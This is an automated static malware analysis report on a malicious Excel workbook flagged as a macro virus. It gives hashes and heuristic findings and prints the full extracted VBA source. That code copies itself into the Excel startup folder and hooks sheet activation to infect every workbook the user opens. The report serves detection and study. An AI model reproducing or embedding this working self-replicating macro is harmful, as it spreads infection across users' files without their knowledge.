Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 23fd217b548fd459…

MALICIOUS

Office (OOXML)

29.8 KB Created: 2020-10-13 09:43:47 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2020-10-31
MD5: 156d25cfa904616fb15d257efcd2940e SHA-1: 74b369574ea9fba0391e8d6b785dca7f8ca66000 SHA-256: 23fd217b548fd4593f093f11aceb7e8c8fda59a6d3d32aa159bfdd0e344854d3
236 Risk Score

Heuristics 6

  • ClamAV: Xls.Virus.Valyria-10007756-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Virus.Valyria-10007756-0
  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • VBA copies the workbook into the Excel XLSTART startup folder high OLE_VBA_XLSTART_PERSISTENCE
    The macro saves a copy of the workbook into Application.StartupPath (the Excel XLSTART folder) so the code auto-loads every time Excel starts. This is the persistence stage of a resident Excel macro virus, not normal document behaviour.
    Matched line in script
    'If ThisWorkbook.Path <> Application.Path & "\XLSTART" Then ThisWorkbook.SaveAs Filename:=Application.Path & "\XLSTART\mypersonel.xls"
  • VBA infects other workbooks via an OnSheetActivate copy hook high OLE_VBA_WORKBOOK_INFECTION_SPREADER
    The macro installs an Application.OnSheetActivate handler that copies a sheet (carrying the macro) into the active workbook whenever a sheet is activated. This is the replication stage of a resident Excel macro virus: it infects every workbook the user opens.
    Matched line in script
        Application.OnSheetActivate = ""
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub Auto_Open()
  • Hidden worksheet (veryHidden) low OOXML_HIDDEN_SHEET
    Excel workbook contains 1 hidden sheet(s) — hidden sheets are commonly used to conceal macro code, staging data, or intermediate payload construction

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 998 bytes
SHA-256: 43e8fbb4c4dee6e7acc6aba5318c386a4e49e28c36ba27a6011d8391cd8fa782
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Kangatang"

Sub Auto_Open()
'If ThisWorkbook.Path <> Application.Path & "\XLSTART" Then ThisWorkbook.SaveAs Filename:=Application.Path & "\XLSTART\mypersonel.xls"
Application.DisplayAlerts = False
On Error Resume Next
If ThisWorkbook.Path <> Application.StartupPath Then
    Application.ScreenUpdating = False
    Windows(1).Visible = False
    ThisWorkbook.SaveCopyAs Filename:=Application.StartupPath & "\mypersonnel.xls"
    Windows(1).Visible = True
End If

    Application.OnSheetActivate = ""
    Application.ScreenUpdating = True
    Application.OnSheetActivate = "mypersonnel.xls!allocated"
End Sub

Sub allocated()
  On Error Resume Next
  If ActiveWorkbook.Sheets(1).Name <> "Kangatang" Then
    Application.ScreenUpdating = False
    currentsh = ActiveSheet.Name
    ThisWorkbook.Sheets("Kangatang").Copy before:=ActiveWorkbook.Sheets(1)
    ActiveWorkbook.Sheets(currentsh).Select
    Application.ScreenUpdating = True
  End If
End Sub
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 12800 bytes
SHA-256: eb593a3c1e420d0ccf173e7e7a0f556100eabc387685b12258c9a5dcc2aa98ab
Detection
ClamAV: Xls.Virus.Valyria-10007756-0
Obfuscation or payload: unlikely

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